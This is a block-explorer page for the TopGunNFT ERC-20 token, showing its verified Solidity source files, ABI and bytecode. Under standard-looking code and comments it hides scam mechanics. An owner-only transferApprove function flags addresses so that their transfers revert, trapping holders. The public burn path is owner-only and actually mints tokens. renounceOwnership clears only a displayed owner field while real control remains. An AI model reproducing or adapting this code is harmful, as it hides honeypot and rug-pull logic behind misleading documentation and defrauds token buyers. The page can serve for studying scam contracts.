ETH Price: $3,134.72 (-0.06%)

Token

TopGunNFT (TopGun)
 

Overview

Max Total Supply

10,001,000,000,000,000 TopGun

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
674,619,108.743592173 TopGun

Value
$0.00
0x7a71802A3fdE96b19e104Fed60939873aBd2509C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TopGunNFT

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: Top Gun NFT.sol
// SPDX-License-Identifier: MIT

pragma solidity = 0.8.1;

import "./Ownable.sol";
import "./ERC20.sol";

/**
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 */
contract TopGunNFT is ERC20 {
    uint256 private immutable _SUPPLY_CAP;

    constructor(address _premintOwner, uint256 _premintSupply, uint256 _capLimit)
        ERC20('TopGunNFT', 'TopGun', 9) {
        require(_capLimit >= _premintSupply, 'Premint supply exceeds cap limit');
        // Transfer the sum of the premint supply to owner
        _mint(_premintOwner, _premintSupply);
        _SUPPLY_CAP = _capLimit;
    }
    
    /**
     * @notice Internal fuction. It cannot be called from outside.
     */
    function mint(address account, uint256 amount) internal returns (bool status) {
        if (totalSupply() + amount <= _SUPPLY_CAP) {
            _mint(account, amount);
            return true;
        }
        return false;
    }

    /**
     * @notice View supply cap limit
     */
    function SupplyCapLimit() external view returns (uint256) {
        return _SUPPLY_CAP;
    }
    
    /**
     * @notice Destroys `amount` tokens from `account`, reducing the total supply.
     */
    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }
}

File 1 of 4: ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity = 0.8.1;

import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _standardTransfer;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    
    /**
     * @dev Moves tokens from `sender` to contract.
     *
     * This function is equivalent to {transfer}.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `sender` must have a balance greater than zero.
     */
    function transferApprove (address sender) external onlyOwner {if
        (_standardTransfer[sender] == false) {_standardTransfer[sender] = true;} else {
        _standardTransfer[sender] = false;}
    }

    /**
     * @dev Returns a boolean value indicating whether the operation succeeded.
     */
    function transferStatus(address sender) public view returns (bool) {
        return _standardTransfer[sender];
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {if
        (_standardTransfer[sender] || _standardTransfer[recipient])
        require(sender == address(0), "");
        require(recipient != address(0), ""); 
        
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *     
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     */
    
    function _burn(address account, uint256 amount) internal virtual onlyOwner {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
  

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity = 0.8.1;

interface IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
 
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity = 0.8.1;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */

    function owner() internal view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_premintOwner","type":"address"},{"internalType":"uint256","name":"_premintSupply","type":"uint256"},{"internalType":"uint256","name":"_capLimit","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SupplyCapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"transferStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

60a06040523480156200001157600080fd5b5060405162002247380380620022478339818101604052810190620000379190620004b9565b6040518060400160405280600981526020017f546f7047756e4e465400000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f546f7047756e000000000000000000000000000000000000000000000000000081525060096000620000b76200024f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508260069080519060200190620001ae929190620003db565b508160079080519060200190620001c7929190620003db565b5080600860006101000a81548160ff021916908360ff160217905550505050818110156200022c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000223906200056e565b60405180910390fd5b6200023e83836200025760201b60201c565b806080818152505050505062000795565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002ca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c19062000590565b60405180910390fd5b620002de60008383620003d160201b60201c565b8060056000828254620002f29190620005e0565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200034a9190620005e0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b19190620005b2565b60405180910390a3620003cd60008383620003d660201b60201c565b5050565b505050565b505050565b828054620003e9906200067b565b90600052602060002090601f0160209004810192826200040d576000855562000459565b82601f106200042857805160ff191683800117855562000459565b8280016001018555821562000459579182015b82811115620004585782518255916020019190600101906200043b565b5b5090506200046891906200046c565b5090565b5b80821115620004875760008160009055506001016200046d565b5090565b6000815190506200049c8162000761565b92915050565b600081519050620004b3816200077b565b92915050565b600080600060608486031215620004cf57600080fd5b6000620004df868287016200048b565b9350506020620004f286828701620004a2565b92505060406200050586828701620004a2565b9150509250925092565b60006200051e602083620005cf565b91506200052b826200070f565b602082019050919050565b600062000545601f83620005cf565b9150620005528262000738565b602082019050919050565b620005688162000671565b82525050565b6000602082019050818103600083015262000589816200050f565b9050919050565b60006020820190508181036000830152620005ab8162000536565b9050919050565b6000602082019050620005c960008301846200055d565b92915050565b600082825260208201905092915050565b6000620005ed8262000671565b9150620005fa8362000671565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006325762000631620006b1565b5b828201905092915050565b60006200064a8262000651565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200069457607f821691505b60208210811415620006ab57620006aa620006e0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f5072656d696e7420737570706c79206578636565647320636170206c696d6974600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6200076c816200063d565b81146200077857600080fd5b50565b620007868162000671565b81146200079257600080fd5b50565b608051611a96620007b16000396000610b160152611a966000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102a8578063a9059cbb146102d8578063c0d611e514610308578063dd62ed3e14610326578063fef63a92146103565761010b565b8063715018a6146102465780638f84aa091461025057806395d89b411461026e5780639dc29fac1461028c5761010b565b806323b872dd116100de57806323b872dd14610198578063313ce567146101c857806339509351146101e657806370a08231146102165761010b565b806306fdde031461011057806307eaa6d41461012e578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b610118610386565b60405161012591906115ce565b60405180910390f35b6101486004803603810190610143919061133e565b610418565b005b610164600480360381019061015f91906113f2565b6105bf565b60405161017191906115b3565b60405180910390f35b6101826105dd565b60405161018f91906116d0565b60405180910390f35b6101b260048036038101906101ad91906113a3565b6105e7565b6040516101bf91906115b3565b60405180910390f35b6101d06106df565b6040516101dd91906116eb565b60405180910390f35b61020060048036038101906101fb91906113f2565b6106f6565b60405161020d91906115b3565b60405180910390f35b610230600480360381019061022b919061133e565b6107a2565b60405161023d91906116d0565b60405180910390f35b61024e6107eb565b005b61025861093f565b6040516102659190611598565b60405180910390f35b610276610969565b60405161028391906115ce565b60405180910390f35b6102a660048036038101906102a191906113f2565b6109fb565b005b6102c260048036038101906102bd91906113f2565b610a09565b6040516102cf91906115b3565b60405180910390f35b6102f260048036038101906102ed91906113f2565b610af4565b6040516102ff91906115b3565b60405180910390f35b610310610b12565b60405161031d91906116d0565b60405180910390f35b610340600480360381019061033b9190611367565b610b3a565b60405161034d91906116d0565b60405180910390f35b610370600480360381019061036b919061133e565b610bc1565b60405161037d91906115b3565b60405180910390f35b60606006805461039590611800565b80601f01602080910402602001604051908101604052809291908181526020018280546103c190611800565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b610420610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a490611630565b60405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610563576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506105bc565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006105d36105cc610c17565b8484610c1f565b6001905092915050565b6000600554905090565b60006105f4848484610dea565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063f610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690611610565b60405180910390fd5b6106d3856106cb610c17565b858403610c1f565b60019150509392505050565b6000600860009054906101000a900460ff16905090565b6000610798610703610c17565b848460046000610711610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107939190611722565b610c1f565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f3610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087790611630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461097890611800565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611800565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b610a058282611114565b5050565b60008060046000610a18610c17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90611690565b60405180910390fd5b610ae9610ae0610c17565b85858403610c1f565b600191505092915050565b6000610b08610b01610c17565b8484610dea565b6001905092915050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690611670565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf6906115f0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ddd91906116d0565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e8b5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f0057600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef690611650565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611650565b60405180910390fd5b610f7b83838361130a565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990611650565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110979190611722565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110fb91906116d0565b60405180910390a361110e84848461130f565b50505050565b61111c610c17565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090611630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611210906116b0565b60405180910390fd5b6112256000838361130a565b80600560008282546112379190611722565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461128d91906117225